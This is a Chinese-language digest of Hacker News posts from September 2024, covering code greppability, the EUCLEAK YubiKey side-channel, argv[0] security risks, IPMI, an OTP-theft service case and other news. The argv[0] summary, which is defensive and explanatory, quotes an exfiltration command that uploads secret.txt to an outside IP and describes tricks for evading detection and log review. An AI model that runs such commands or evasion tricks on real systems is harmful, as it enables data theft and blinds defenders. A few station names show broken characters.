2024-09-03

39 篇热帖

1. Is My Blue Your Blue? (ismy.blue)

这篇文章介绍了一个名为“Is My Blue Your Blue?”的互动测试,旨在帮助用户测试并了解自身对颜色的感知差异。测试设计用于探索不同个体在识别或体验同一颜色(如蓝色)时可能存在的区别。

2. Greppability is an underrated code metric (morizbuesing.com)

代码可搜索性是一个被低估的代码指标

在维护不熟悉的代码库时,经常需要使用grep搜索字符串,如函数名、错误消息或类名。如果无法找到所需内容,可能导致挫败感或危险情况(例如误认为某些代码不再需要)。为此,作者提出了三条保持代码库可搜索性的规则:

  1. 不要拆分标识符:避免动态构造标识符(如表名、列名、方法名)。例如,从地址类型动态构造表名(如shipping_addresses)虽然符合DRY原则,但会使搜索时遗漏相关代码。建议使用显式定义来提高可搜索性,例如通过条件语句直接返回完整表名。

  2. 在整个堆栈中使用相同的名称:避免在应用边界处重命名字段以适应命名约定。例如,将PostgreSQL的snake_case标识符(如street_name)转换为JavaScript的camelCase(如streetName)会导致需要搜索两个字符串。建议直接返回原始对象以保持一致性,减少搜索复杂度。

  3. 扁平比嵌套更好:在文件夹结构和对象结构中,扁平化优于嵌套。例如,使用扁平化的翻译键(如"auth.login.title")而不是嵌套JSON结构,可以更容易搜索和引用。同样,扁平的React组件文件结构(如AttributeFilterCombobox.tsx)比深层嵌套(如./components/attribute/filter/Combobox.tsx)更易于通过完整名称进行搜索。

这些规则旨在提升代码的可维护性,减少搜索时的困惑和潜在错误,从而增强整体代码质量。

3. EUCLEAK Side-Channel Attack on the YubiKey 5 Series (ninjalab.io)

EUCLEAK:针对YubiKey 5系列的侧信道攻击

核心发现

研究人员发现英飞凌安全微控制器密码库中存在一个侧信道漏洞,该漏洞已存在14年且未被发现,通过了约80次最高级别的通用标准认证评估。漏洞源于椭圆曲线数字签名算法(ECDSA)中模逆运算的非恒定时间实现

攻击原理

  • 目标:英飞凌SLE78安全芯片及其密码库(广泛应用于YubiKey 5系列等设备)。
  • 方式:通过物理接触设备,利用电磁侧信道信号采集(数分钟内完成),提取存储在设备中的ECDSA私钥。
  • 后果:私钥泄露可导致FIDO硬件令牌被克隆,从而破坏其认证安全性。

影响范围

  • 直接产品
    1. 所有英飞凌安全微控制器(包括TPM模块),只要运行其自带的密码库(任何已知版本)均受影响。
    2. 所有固件版本低于5.7的YubiKey 5系列
  • 潜在影响:广泛使用该芯片组和密码库的系统,如电子护照、加密货币硬件钱包、智能汽车等,但本研究尚未验证EUCLEAK攻击对这些产品的适用性。

应对与缓解

  • Yubico:于2024年5月6日发布YubiKey固件5.7版本,转而使用自家未受此漏洞影响的密码库。已发布安全公告。
  • 英飞凌:已开发密码库补丁,但截至目前尚未通过通用标准认证
  • 漏洞编号:CVE-2024-45678。

重要说明

  • 风险权衡:攻击需要物理接触、昂贵设备和专业技术。因此,继续使用受影响的YubiKey作为FIDO认证器,其安全性仍高于不使用,它主要防范的是网络钓鱼攻击。
  • 相关方澄清:研究中使用的飞天A22智能卡为旧产品,已停产。当前在售的飞天产品基于英飞凌芯片但使用自有密码库,不受此漏洞影响
5. The Art of Finishing (www.bytedrum.com)

完成项目的艺术:克服“九头蛇项目效应”

本文探讨了开发者在个人项目中常遇到的“九头蛇项目效应”——即在推进项目时,解决一个问题往往会引发更多新挑战,导致项目陷入无尽的半成品状态。文章深入分析了这种现象的成因、代价,并提出了实用的解决策略。

无尽项目的诱惑

开发者难以完成项目的原因主要包括:

  • 对最终评价的恐惧:未完成的项目充满无限可能(薛定谔的项目),而一旦完成就必须面对外界和内心的批评。
  • 生产力的错觉:不断开启新项目能带来新鲜感和虚假的生产力,从而逃避项目收尾时的艰难决策与枯燥工作。
  • 完美主义陷阱:个人项目缺乏外部截止日期,导致开发者过度追求完美,陷入无休止的细节打磨。
  • 对成功的恐惧:潜意识中担心项目成功会带来未知的责任、期望或身份转变。

永不完成的代价

长期搁置项目会带来严重的负面影响:

  • 心理负担:未完成的项目如同后台运行的程序,持续消耗心理带宽、能量和创造力。
  • 错失核心技能学习:启动项目只能学到构思,而完成项目才能培养毅力、细节把控、代码重构以及“懂得放手”的能力。
  • 损害自信与职业声誉:长期的半途而废会削弱自信;在职业环境中,雇主和客户更看重能够交付完整成果的人。
  • 缺乏真实反馈:未发布的项目无法获得用户的真实反馈,阻碍了技能的提升和产品的改进。

驯服“项目九头蛇”的策略

为了打破无法交付的循环,作者提出了以下七项策略:

  1. 提前定义“完成”:在项目初期明确核心功能和“完成”的标准,严格控制需求蔓延。
  2. 拥抱最小可行性产品(MVP):放弃完美主义,优先发布“足够好”的基础版本,后续再进行迭代。
  3. 设定时间框(Time-Box):为项目或开发阶段设定明确的截止日期,以创造紧迫感。
  4. 练习完成小事:通过定期完成小任务或微型项目,锻炼“完成项目”的习惯与能力。
  5. 分离构思与执行:建立想法日志,记录开发过程中冒出的新灵感,留待未来处理,以保持当前专注。
  6. 庆祝完成:将项目的完成视为重要里程碑,通过奖励自己来建立正向的心理反馈。
  7. 引入问责机制:通过寻找问责伙伴、加入开发者社群或公开承诺,利用外部监督推动项目交付。

结语

改变半途而废的习惯需要时间和持续的努力。学会完成项目不仅是为了交付代码,更是开发者实现自我成长、提升专业技能并最终获得成就感的必经之路。

6. Steve Ballmer's incorrect binary search interview question (blog.jgc.org)

史蒂夫·鲍尔默曾提出一个微软面试谜题:他心中想一个1到100之间的数字,面试者每次猜测后,他会告知猜高了还是猜低了。根据猜中所需的猜测次数,面试者会获得或支付不同金额:第一次猜中得5美元,第二次得4美元,第三次得3美元,第四次得2美元,第五次得1美元,第六次得0美元,第七次则需支付1美元,以此类推。问题在于:面试者是否应接受这个游戏?

鲍尔默认为答案是否定的,理由有二:首先,他可以选择让二分查找策略最困难的数字;其次,假设他随机选择数字,游戏的预期收益为负(即玩家最终需付钱)。文章通过计算指出,在随机选择的前提下,鲍尔默关于预期收益为负的观点是错误的。实际预期收益为正值0.20美元。

文章分析了基于二分查找策略的结果:

  • 若鲍尔默选择特定的37个数字(如2、5、8等),玩家需支付1美元。
  • 若选择其他数字(如1、4、7等),玩家收益为0美元或正收益。

文章通过Perl代码模拟计算,得出在1-100范围内,使用二分查找策略,假设数字随机选择,总预期收益为0.20美元。计算方式是基于各猜测次数的概率分布:第一次猜中概率1/100得5美元,第二次概率2/100得4美元,第三次概率4/100得3美元,第四次概率8/100得2美元,第五次概率16/100得1美元,第六次概率32/100得0美元,剩余37种情况概率37/100需支付1美元。

文章推测鲍尔默可能误述了游戏规则:如果他将第六次猜中的奖励改为支付1美元(而非得0美元),那么预期收益将变为-0.49美元,这与其声称的负收益相符。视频演示中,鲍尔默选择了数字59,使用二分查找策略可在第五步猜中(获得1美元),而实际采访中记者使用了近似策略但步骤稍多。

8. Web scraping with GPT-4o: powerful but expensive (blancas.io)

文章总结:使用GPT-4o进行网页抓取——强大但昂贵

本文介绍了作者尝试利用OpenAI GPT-4o模型的新“结构化输出”功能,开发一个AI辅助网页抓取工具的过程、发现和局限性。

核心实验与发现

  1. 直接提取数据:作者使用Pydantic模型定义数据结构,通过系统提示让GPT-4o从HTML字符串中提取表格数据。

    • 成功案例:模型能正确解析复杂表格,例如Weather.com包含多行预报的10天天气表,甚至能识别出隐藏在源代码中的“Condition”数据。
    • 失败案例:对于维基百科中存在合并行的表格(如“人类发展指数”表),模型提取的各列数据长度不一致,导致无法构成规整的表格。尝试通过修改系统提示来解决此问题未果。
  2. 让GPT-4o生成XPath:为了减少昂贵的API调用次数(实现一次提取、多次复用),作者尝试让模型直接返回用于抓取特定列数据的XPath。但效果不佳,模型有时会返回无效或不准确的XPath。

  3. 混合方法:将两种方法结合效果最佳——先用模型提取一次数据作为参考,再基于此让模型为每列生成XPath。并加入了简单的重试逻辑以处理XPath返回空数据的情况。但存在新问题:模型有时会将图像转换为描述性文本(如“向上箭头”),导致后续基于文本的XPath查找失败。

主要挑战与优化

  • 成本高昂:这是核心痛点。使用GPT-4o处理即使是较小的HTML表格,API调用也非常昂贵。作者两天实验即花费24美元。
  • 优化措施:为了降低成本,作者在发送给模型前清理HTML字符串,移除不必要的属性(仅保留class, id, data-testid),成功将字符数减半且未观察到质量下降。

结论与未来方向

  • GPT-4o的提取质量令人印象深刻,但成本是其用于大规模网页抓取的主要障碍
  • 作者进行了一次概念验证,并提供了Streamlit演示和GitHub源码链接。
  • 未来改进想法
    • 改善用户体验,例如让用户通过点击选择目标表格并提供样本行。
    • 对于复杂表格,尝试让LLM返回一段程序(如Python代码)而非单一XPath。
    • 进一步实验HTML清理策略,以更多地减少输入给模型的无效数据。

总的来说,本文展示了GPT-4o在结构化数据提取方面的强大能力,同时也清晰地指出了其在实际应用中,特别是成本方面的显著挑战。

9. Why bother with argv[0]? (www.wietzebeukema.nl)

argv[0]:一个过时且危险的设计及其安全影响

1. 简介与历史背景

  • 概念argv[0] 是进程命令行参数中的第一个参数,传统上被用于表示程序自身的名称
  • 历史目的:此设计源于资源匮乏的时代,允许同一个可执行文件根据被调用的名称(例如通过符号链接)表现出不同的行为,如 Debian 中的 shutdownreboot 实际上是指向 systemctl 的同一程序。
  • 核心问题
    • 该设计使程序行为可预测性降低,不符合现代软件设计原则。
    • 更关键的是,其正确性的责任被错误地交给了调用进程,而操作系统没有强制保障。调用者可以完全控制 argv[0] 的值,且大多数程序和监控系统并不验证其真实性。

2. 主要安全风险

尽管多数程序不依赖 argv[0],但它在安全层面引入了三个主要威胁:

2.1 绕过安全检测

攻击者可以操纵 argv[0] 来欺骗依赖于命令行字符串匹配的安全软件。

  • 示例:Windows Defender 检测 certutil 下载文件时,若将 argv[0] 设置为空格,可以绕过其检测逻辑。检测规则若假设程序名是命令行的一部分,就可能失效。
  • 建议:检测规则应基于进程的完整路径(例如 process_path.endswith('certutil.exe')),而非单纯的字符串匹配。

2.2 欺骗安全分析师

安全分析师在审查警报时,命令行是关键信息。修改 argv[0] 可以改变命令行的视觉表现,从而误导人类。

  • 示例:将 curl -T secret.txt 123.45.67.89argv[0] 改为 curl localhost | grep,命令行在监控工具中会显示为 curl localhost | grep -T secret.txt 123.45.67.89,给人造成从本地下载的错觉,而实际上是在向外网上传文件。
  • 其他手法:使用 Unicode 从右至左覆盖字符 可以反转显示的域名,进一步混淆视线。

2.3 破坏遥测数据完整性

通过用大量字符填充 argv[0],可以制造超长命令行,利用监控软件的截断机制来隐藏真实的恶意参数。

  • 原理:Windows、Linux、macOS 均允许超长命令行(最高可达1MiB)。当安全设备或日志系统为减少开销而截断超长命令行时,真正相关的参数(如恶意下载链接)可能被丢弃。
  • 后果:生成的警报或日志中只包含大量无意义的填充字符,导致安全设备和分析师对真实的攻击活动“失明”。

3. 总结与建议

argv[0] 是一个为兼容历史而遗留的设计,但在现代安全环境中成为了显著的风险源。由于其不会被很快淘汰,各方需采取措施:

  • 对开发者避免依赖或读取 argv[0]。应依赖操作系统提供的其他元数据(如进程路径)。
  • 对安全厂商
    1. 改进检测逻辑:避免依赖 argv[0] 进行程序识别,使用更可靠的进程元数据。
    2. 监控异常 argv[0]:自动检测过长、包含特殊字符(如管道符 |、RLO 字符)或与进程路径不符的 argv[0]
    3. 考虑忽略 argv[0]:在报告命令行时,完全排除 argv[0],仅呈现真正的参数,可以根治本文描述的大部分问题。
  • 对安全分析师:需理解 argv[0] 的可操纵性,在分析警报时对命令行的真实性保持警惕,尤其是当其看起来不合逻辑或包含异常字符时。
10. Your Name in Landsat (landsat.gsfc.nasa.gov)

Landsat 卫星项目概述

Landsat 是由 NASA 和美国地质调查局(USGS)共同管理的地球观测卫星系列。自 1972 年以来,该系列卫星持续获取地球陆地表面图像,为土地管理者、规划者和决策者提供不间断的数据档案,支持更明智的自然资源和环境决策。Landsat 的免费公开数据仅在 2023 年就为美国经济贡献了约 256 亿美元的价值。

主要社会效益

Landsat 是全球决策的关键工具,在多个领域带来显著的经济和环境效益:

  • 农业与粮食安全:优化作物健康监测,保障粮食安全。
  • 灾害管理:在灾害发生时提供鸟瞰视图,协助评估损害和协调应对。
  • 生态系统与生物多样性:监测森林、湿地、珊瑚礁等生态系统。
  • 能源资源:识别新能源来源并监测现有运营的环境影响。
  • 森林管理:支持森林保护、木材生产和应对虫害及毁林威胁。
  • 人类健康:追踪城市热岛、藻华爆发和疾病传播媒介等威胁。
  • 牧场管理:监测覆盖地球一半以上陆地面积的牧场植被健康状况。
  • 城市发展:捕捉城市增长模式,助力城市规划。
  • 水资源:监测农业用水和水库污染等,影响数百万人的水资源获取。
  • 野火:在野火发生前、中、后进行干预,保护土地和森林生态系统。

作为“黄金标准”的特点

Landsat 被视为中分辨率卫星数据的“黄金标准”,主要基于:

  1. 科学级仪器:传感器经过严格校准和测试,以可靠测量地表细微变化,并具备冗余系统以确保数据连续性。
  2. 校准与验证:NASA 和 USGS 的校准团队通过全任务周期的严格独立验证,确保影像准确反映地表状况,且数据在时间和传感器间保持一致。
  3. 光谱覆盖:除了可见光和近红外波段,Landsat 8 和 9 还涵盖短波红外和热红外波段,用于测量蒸散发、检测火疤和熔岩流、监测植被健康等。
  4. 数据连续性:作为最长的连续太空陆地观测记录(自 1972 年起),提供无间断、兼容的数据,支持研究城市化、海岸线变化、冰川退缩和森林动态等长期趋势。

基础性与科学影响

Landsat 是科学发现的强大引擎。自 2008 年数据免费开放以来,引用 Landsat 数据的出版物数量稳步增加,并成为国家土地覆盖数据库(NLCD)、OpenET 等广泛使用产品的基础。数据被用于监测大尺度过程、训练机器学习算法以检测地表变化,甚至发现了此前未标记的岛屿。

关键人物与相关资源

项目涉及众多科学家和专家,如项目科学家、校准专家和多光谱扫描仪发明者等。相关资源包括《土地遥感政策法》(1992 年)、Landsat 数据分发政策(2008 年)等技术文件和报告,进一步支持了项目的开放数据政策和持续运营。

11. Microsoft's 'Recall' feature can't be uninstalled after all (mashable.com)

微软“Recall”功能最终确认无法卸载

核心事件:微软近期澄清,Windows 11中备受争议的“Recall”功能无法被用户卸载。此前有报道称Windows 11 24H2更新允许完全卸载该功能,但微软向The Verge证实,控制面板中出现的卸载选项仅是一个系统错误(Bug),将在后续更新中修复。

功能概述

  • Recall 是微软为Copilot+ PC推出的AI功能,于5月发布。
  • 它通过持续截取用户操作屏幕截图,并利用设备端的生成式AI模型来帮助用户回溯查找之前的工作内容。
  • 该功能原计划深度集成于Windows 11系统中,设计上不可移除

主要争议与安全担忧

  • 功能因无差别记录敏感信息(如密码、个人数据、机密工作内容)而受到猛烈批评。
  • 前微软安全专家Kevin Beaumont称其为网络安全“灾难”,指出仅需两行代码即可窃取用户所有键入或查看的内容。
  • 英国信息专员办公室(ICO)已因可能违反用户隐私而对此功能展开调查。

微软的应对措施

  1. 在发布后不久宣布将Recall设为可选功能,默认关闭
  2. 因安全担忧和公众反弹,原定6月的上线计划被推迟。
  3. 最新计划改为10月首先面向Windows Insiders测试人员推出,以继续解决安全问题。
12. Chromatone – Visual Music Language (chromatone.center)

Chromatone项目概述 Chromatone是一个开源的研究与设计项目,旨在探索、开发并实践一种科学的视觉音乐教育、交流与表演方式。其核心理念是通过建立音符与颜色之间的标准化对应关系,利用人类主要的感官通道——视觉,来增强音乐的感知能力,尤其适应现代屏幕时代的需求。

视觉音乐语言体系 该项目提出了“视觉音乐语言”的概念,构建了12个音符与12种颜色相对应的完整、连贯的体系。该语言通过将音乐元素(如音高、节奏、音程、和弦、音阶)与视觉元素(如颜色、形状、渐变、调色板)进行系统融合,并不断演化,为新一代的视觉音乐探索者铺平道路。

学习资源与实践工具 Chromatone提供了丰富的学习与实践资源:

  1. 视觉乐理学习:帮助初学者通过颜色理解复杂的音乐概念。
  2. 交互式网络应用:在实践部分扩展知识,加深对音乐的理解。
  3. Chromatone导师计划:为希望超越个人探索、寻求指导性教育项目和社区学习体验的人提供课程。
  4. 贴纸商店:为用户提供实体化的彩色音符产品,满足触觉体验的需求。

项目仍处于持续发展之中,欢迎提出问题或分享想法。

13. Wizardry Co-Creator Andrew Greenberg Has Passed Away (www.timeextension.com)

《Wizardry》联合创始人安德鲁·格林伯格(Andrew Greenberg)已去世。他与罗伯特·伍德黑德(Robert Woodhead)共同创作了开创性角色扮演游戏《Wizardry》。该游戏于1981年发行,是最早的个人电脑RPG之一,对此后该类型的发展产生了深远影响。它在日本市场也取得了巨大成功,并至今仍在该地区推出新作。近期,Digital Eclipse还为现代平台重制了初代作品。

格林伯格的名字曾用于游戏第一作中的反派角色“Werdna”(Andrew的倒拼)。他后来转型为专利律师,并担任一家可再生能源公司的总法律顾问。文章对格林伯格的家人与朋友表示了哀悼。

14. Playdate Game Zero Zero: Perfect Stop (play.date)

游戏名称:Zero Zero: Perfect Stop

平台:Playdate

开发商:Hunter Bridges

类型:赛车、动作、火车模拟游戏

核心玩法: 这是一款火车驾驶模拟游戏,玩家使用 Playdate 的曲柄来控制火车的油门和刹车,挑战在正确的时间和地点停靠站台,同时严格遵守时刻表。

游戏模式

  1. 司机模式:玩家需要参照线路图,遵守速度限制,在富士特快列车的多个站台(包括三�的、月江寺、�的士吉温泉前、下吉田、月光寺,直至富士山站)实现精准停靠。可挑战 1 站、3 站、5 站和快速列车等多种运行图。
  2. 自由模式:无压力地欣赏山梨县的沿途风景。
  3. 教程:为新手玩家提供引导。

游戏特色

  • 挑战性:考验玩家的耐心与操作精度。
  • 排行榜:支持在线全球排行榜,玩家可以挑战自己或与其他司机一较高下。页面展示了从“三的到富士山”等多个站间区间的全球前10名玩家及成绩。
  • 语言:支持英语和日语。

额外资源: 游戏官网提供了玩家指南和原声音乐等信息。

15. IPMI (computer.rip)

IPMI:服务器带外管理技术解析

核心概念

IPMI(智能平台管理接口)是一套标准化规范,而非具体产品实现。它定义了服务器带外管理的功能,允许管理员在操作系统未运行甚至服务器关机的情况下,通过独立硬件进行远程监控和管理。现代服务器中,IPMI通常由基板管理控制器(BMC)——一个独立的微型计算机系统——来实现。

历史背景与演变

  • 服务器本质变化:服务器从早期的专有架构(如SPARC/Solaris)逐渐演变为基于通用x86架构的“大型计算机”,但保留了多处理器、复杂存储控制器和带外管理等企业级特性。
  • 带外管理需求:源于服务器的高可用性要求,需要独立于主操作系统的管理通道,用于故障诊断、固件更新和操作系统安装等。

IPMI的主要功能

  1. 远程控制台:提供类似IP KVM的功能,允许远程查看和操作服务器显示输出及键盘输入。
  2. 虚拟介质:通过网络挂载ISO镜像,模拟物理光驱进行系统安装或恢复。
  3. 硬件监控与管理:读取传感器数据(温度、电压等)、控制电源状态、管理风扇、查看硬件库存信息(FRU)。
  4. 看门狗定时器:可与操作系统配合,在应用卡死时自动重启服务器。

实现与使用

  • 厂商实现:各大厂商(如Dell的DRAC、HP的iLO)均基于IPMI规范开发自有管理系统,通常功能更丰富,并拥有专属名称。
  • 访问方式
    • 专用管理网口:最佳实践是使用独立网络,保障安全与可用性。
    • 边带网络:通过主机网卡复用同一物理端口,使用不同MAC地址传输管理流量,但存在安全隐患。
    • 带内接口:操作系统内可通过ipmitool等工具与BMC通信。
  • 管理界面:已普遍转向Web应用,提供图形化管理,但各厂商实现质量参差不齐。

安全考量

  • 许多IPMI实现存在安全漏洞,应严禁未授权访问。
  • 建议将管理网络与业务网络隔离(通过物理网络或VLAN)。
  • 通用端口为UDP 623,部分实现还提供SSH、Web和VNC访问。

与消费级技术的对比

  • Intel AMT(主动管理技术):功能类似于IPMI,旨在为客户端设备提供带外管理。但受制于高昂的许可费用和严格的硬件要求(需Intel vPro平台),普及率较低。
  • Intel ME/AMD PSP:几乎存在于所有现代CPU中,是底层安全子系统。其主要功能是支持安全启动、DRM等可信执行环境,而非完整的远程管理。虽然理论上可提供类似AMT的功能,但在消费级设备上通常未被激活或功能受限。

总结

IPMI是企业级服务器标准化远程管理的基石,通过独立的硬件和软件栈实现了强大的带外控制能力。尽管其具体实现多样且存在安全风险,但它仍是数据中心运维不可或缺的工具。而消费级设备中的类似引擎(如Intel ME)则主要服务于底层安全,并未广泛用于远程管理。

16. The Elements of APIs (2021) (johnholdun.com)

这篇文章是关于API元素的持续性工作进展介绍。作者认为目前的内容值得分享,并邀请读者审阅后提供反馈意见。

17. A photographer captures life in America's last remaining old-growth forests (www.npr.org)

摄影师记录美国最后原始森林中的生命

森林生态系统的价值与保护

  • 太平洋西北部的温带原始雨林拥有高度复杂的生物多样性,是全球碳储存潜力最高的森林类型之一。
  • 《西北森林计划》 已在俄勒冈、华盛顿和加利福尼亚州的17个国家森林中实施了30年,旨在应对过去不可持续的伐木活动,并恢复森林生态系统。
  • 保护完好、成熟及原始的森林,是缓解气候变化影响最直接且成本效益高的解决方案之一。

摄影师的使命与工作

  • 摄影师David Herasimtschuk自2011年起在太平洋西北部生活和探索,并于2022年启动了聚焦原始森林的拍摄项目。
  • 他的目标是通过图片展现整个森林生态系统的样貌,揭示从树冠到水下、从苔藓到美洲狮等物种之间共生关系的复杂性和重要性。
  • 他强调,人类日常生存依赖于森林生物的行为与互动,但这些过程往往发生在难以观察的尺度上,因此容易被忽视。

核心生态关系与科学发现

  1. 鲑鱼与森林的共生

    • 洄游产卵的鲑鱼为河流和森林带来大量的海洋源营养物质(如氮),这些营养被树木吸收,某些树种因此生长速度可提高三倍。
    • 然而,鲑鱼数量的下降导致这一关键生态资源流失,目前仅约3-7%的鲑鱼营养能回到淡水环境中。
    • 这种关系是森林健康和碳固存能力的重要组成部分。
  2. 微小生物的关键作用

    • 蝾螈等小型生物在碳循环中扮演重要角色。它们通过捕食以落叶为食、会释放二氧化碳的昆虫,有助于将碳固定在森林地表。
    • 倒木(枯死木)并非“废物”,它们为众多物种提供栖息地,并影响森林的湿度和碳储存。
  3. 伐木活动的负面影响

    • 20世纪的工业伐木移除了大部分原始林,导致目前许多森林由树龄较年轻的树木组成,限制了生态系统的完整功能。
    • 研究显示,在俄勒冈海岸山脉,皆伐(Clear-cut)和轮伐期(40-50年)较短的人工林会导致溪流流量减少50%,严重影响水质和水量。
    • 缺乏大型树木(尤其是河岸森林)严重限制了如银鲑等濒危鱼类的保育工作。

政策动向与公众认知

  • 目前,多项政策倡议正致力于为太平洋西北部的森林健康和原始林保护建立新框架,包括保护树龄80-150年的成熟林(被视为下一代的原始林)。
  • 美国政府已采取行动,承诺保护剩余的成熟和原始林,并计划修订《国家森林计划》和《西北森林计划》。
  • 摄影师希望通过其影像,帮助公众和决策者理解健康森林的功能,从而支持基于科学的森林管理决策。

拍摄方法与合作

  • 项目采用多种装备,包括水下摄影设备、相机陷阱等,以从生态系统的多角度进行记录。
  • 摄影师与H.J.安德鲁斯实验森林等科研机构紧密合作,该机构是世界上最受研究的原始林生态系统之一,其研究为全球森林科学奠定了基础。

摄影师的目标与希望

  • 其作品旨在激发公众的好奇心,让人们意识到森林生物多样性与自身生活的关联,从而认识到保护这些古老生态系统的重要性。
  • 他相信,在人类对森林需求与日俱增的时代,影像和故事对于在公众与森林管理者之间建立视觉和情感联系至关重要。
18. Keeping CALM: When distributed consistency is easy (2019) (arxiv.org)

本文介绍了CALM定理,该定理回答了分布式系统中何时需要协调以维持一致性的问题。CALM是“consistency as logical monotonicity”(一致性即逻辑单调性)的缩写,其核心观点是:那些能够无需协调(coordination-free)便能在分布式环境中实现一致性的程序,恰恰是那些可以用单调逻辑表达的程序。

该理论具有重要的实践意义,为分布式应用开发者提供了指导。文章将CALM与传统的CAP定理等“系统智慧”进行了对比,展示其作为一种建设性的应用层面补充。此外,文章探讨了单调性思维如何影响分布式系统设计,以及新的编程语言设计和工具如何帮助开发者编写无需协调的一致性代码。

20. Apache Zeppelin (zeppelin.apache.org)

Apache Zeppelin 概述

Apache Zeppelin 是一个多用途的交互式笔记本,旨在满足数据工作的全栈需求,涵盖数据摄入、数据探索、数据分析和数据可视化与协作。

多语言后端支持

Zeppelin 的核心是其解释器概念,允许将任何语言或数据处理后端接入系统。目前原生支持多种解释器,包括 Apache Spark、Apache Flink、Python、R、JDBC、Markdown 和 Shell。用户也可以相对简单地创建新的解释器以支持更多语言。

与 Apache Spark 深度集成

Zeppelin 提供了对 Apache Spark 的内置深度集成,无需额外构建模块或插件。其主要特性包括:

  • 自动注入上下文:自动创建并注入 SparkContextSQLContext
  • 运行时依赖加载:支持从本地文件系统或 Maven 仓库动态加载运行时依赖的 JAR 包。
  • 作业控制:支持取消作业并实时显示其进度。

数据可视化

Zeppelin 内置了基础图表功能。可视化不限于 SparkSQL 的查询结果,任何语言后端产生的输出都可以被识别并可视化。它支持通过简单的拖放操作创建数据透视表,并能够轻松聚合(如求和、计数、平均值、最小值、最大值)多个数值进行展示。

动态表单

Zeppelin 可以在笔记本中动态创建输入表单,这使得用户能够通过简单的交互来参数化他们的代码和查询,增强了笔记本的交互性和可重用性。

实时协作

Zeppelin 支持通过共享笔记本 URL 进行实时协作,所有协作者的更改都会像 Google Docs 一样实时广播。此外,系统还提供了一个独立的结果展示 URL,该页面不包含笔记本的菜单和按钮,可以方便地将结果嵌入为 iframe 到其他网站中。

100% 开源

Apache Zeppelin 是采用 Apache2 许可证的开源软件。它拥有活跃的开发社区,用户可以通过其源代码仓库参与贡献,并通过邮件列表和 Jira 问题跟踪器进行交流和报告问题。

21. Iranian writer is sentenced to 12 years after tweeting a dot at supreme leader (www.npr.org)

伊朗作家因在社交媒体回复最高领袖一个点被判12年监禁

核心事件:

  • 伊朗作家、活动人士侯赛因·尚贝扎德因在社交媒体平台X上回复最高领袖阿里·哈梅内伊的帖子一个句号(点),被判处12年监禁
  • 该回复在2024年6月初发布,所获“点赞”数远超过哈梅内伊原帖。

人物背景:

  • 尚贝扎德现年35岁,是伊朗领导层的长期批评者,活跃于社交媒体,支持政治犯和反对女性强制佩戴头巾。
  • 他曾在2019年因在线侮辱哈梅内伊的评论入狱,并曾撰写遭受鞭刑的经历。

逮捕与审判:

  • 尚贝扎德于2024年6月在伊朗西北部阿尔达比勒被逮捕。
  • 法院判处的刑期由多个罪名合并构成:
    • 5年:据称从事亲以色列宣传。
    • 4年:侮辱伊斯兰圣物。
    • 2年:在网上传播谎言。
    • 1年:反政权宣传。
  • 检方指控他曾与以色列情报官员接触,并在试图离境时被捕。

辩护与后续:

  • 其律师表示将对判决提出上诉,尤其是针对亲以色列活动的指控。

社会背景:

  • 此案是伊朗强硬派政府打压批评者行动的一部分。
  • 观察人士指出,伊朗领导层因国内高水平的反对声音而感到不安。
  • 近期还有其他艺术家、活动人士遭重判,例如说唱歌手图马杰·萨利希因反政府视频于2024年4月底被判处死刑。
23. Owners of 1-Time Passcode Theft Service Plead Guilty (krebsonsecurity.com)

三名英国男子因运营一次性验证码拦截服务 OTP Agency 认罪。该服务于 2019 年 11 月推出,旨在帮助攻击者获取双重认证所需的一次性密码(OTP)。

该服务的运作方式为:诈骗者在已窃取目标银行账户凭证后,输入受害者的电话号码和姓名,系统将自动拨打恐吓电话,警告账户存在未授权活动,并诱骗受害者输入短信接收的一次性验证码。获得的验证码随后会转发至诈骗者的控制面板。

英国国家犯罪局(NCA)于 2023 年 8 月 30 日声明,认罪的三人分别是:22 岁的 Callum Picari(服务所有者、开发者及主要受益人)、21 岁的 Vijayasidhurshan Vijayanathan 和 19 岁的 Aza Siddeeque。

调查始于 2020 年 6 月,此前服务所有者的身份信息已遭泄露。2021 年 2 月,一篇报道提及该服务后,运营者之间恐慌性对话显示他们意识到面临风险并试图删除证据。尽管最初宣称关闭服务,但几天后他们便重启服务并试图安抚用户,直至一个月后三人被捕时服务才真正下线。

NCA 称,该服务在 18 个月的运营期间,共针对超过 12,500 人实施了攻击。虽然 OTP Agency 已被取缔,但文中指出类似拦截服务(如 SMSRanger)仍在运作。

文章最后提醒公众:警惕任何以银行名义来电并索要个人信息的行为,应直接挂断,并通过银行官方网站或卡片背面的官方电话号码主动联系核实。

24. Feds Kill Plan to Curb Medicare Advantage Overbilling After Industry Opposition (kffhealthnews.org)

一项十年前旨在遏制Medicare Advantage健康保险计划向政府过度收费数十亿美元的联邦计划,在行业激烈反对后被突然搁置,最新公开的法庭文件揭示了这一内幕。

美国医疗保险和医疗补助服务中心(CMS)于2014年1月发布了一项法规草案。该规定本将要求健康计划在审查患者病历时,识别出CMS的多收费用并退还给政府。

然而在2014年5月,CMS在没有任何公开解释的情况下撤回了该提案。新公布的法庭证词显示,该机构官员多次提及行业施加的巨大压力和反对声浪是主要原因。当时CMS的医保计划支付部门主管Cheri Rice作证说,他们收到的指示是,最终法规只应包含获得广泛利益相关方支持的条款。

这一决定及其相关事件,是司法部针对UnitedHealth Group提起的一项价值数十亿美元的民事欺诈诉讼的核心。该案正在洛杉矶联邦法院审理。司法部指控这家大型健康保险集团通过审查患者病历以寻找额外诊断代码来增加收入,同时却忽略了可能减少账单的多收费用,从而骗取了Medicare超过20亿美元。司法部在法庭文件中称,该公司“把头埋在沙子里,除了留住钱什么也没做”。

Medicare为病情更严重的患者支付更高的费率,但要求保险计划仅对病历中有正式记录的疾病状况进行计费。

UnitedHealth Group在法庭文件中否认有不当行为,并辩称其不应因“未能遵守CMS十年前考虑过但决定不予采纳的规则”而受到惩罚。

根据法庭文件,Medicare Advantage计划近年来爆炸式增长,目前覆盖了约3300万人,超过Medicare合格人群的一半。在此过程中,该行业一直是数十起举报人诉讼、政府审计和其他调查的目标,这些调查指控健康计划常常夸大患者的病情以攫取不应得的Medicare付款,包括进行所谓的“病历审查”,旨在找出据称被遗漏的诊断代码。

司法部指控UnitedHealth Group从2009年到2016年,仅基于病历审查就从Medicare获得了超过72亿美元的付款;政府称,如果删除了没有支持的计费代码,该公司本应少收21亿美元。

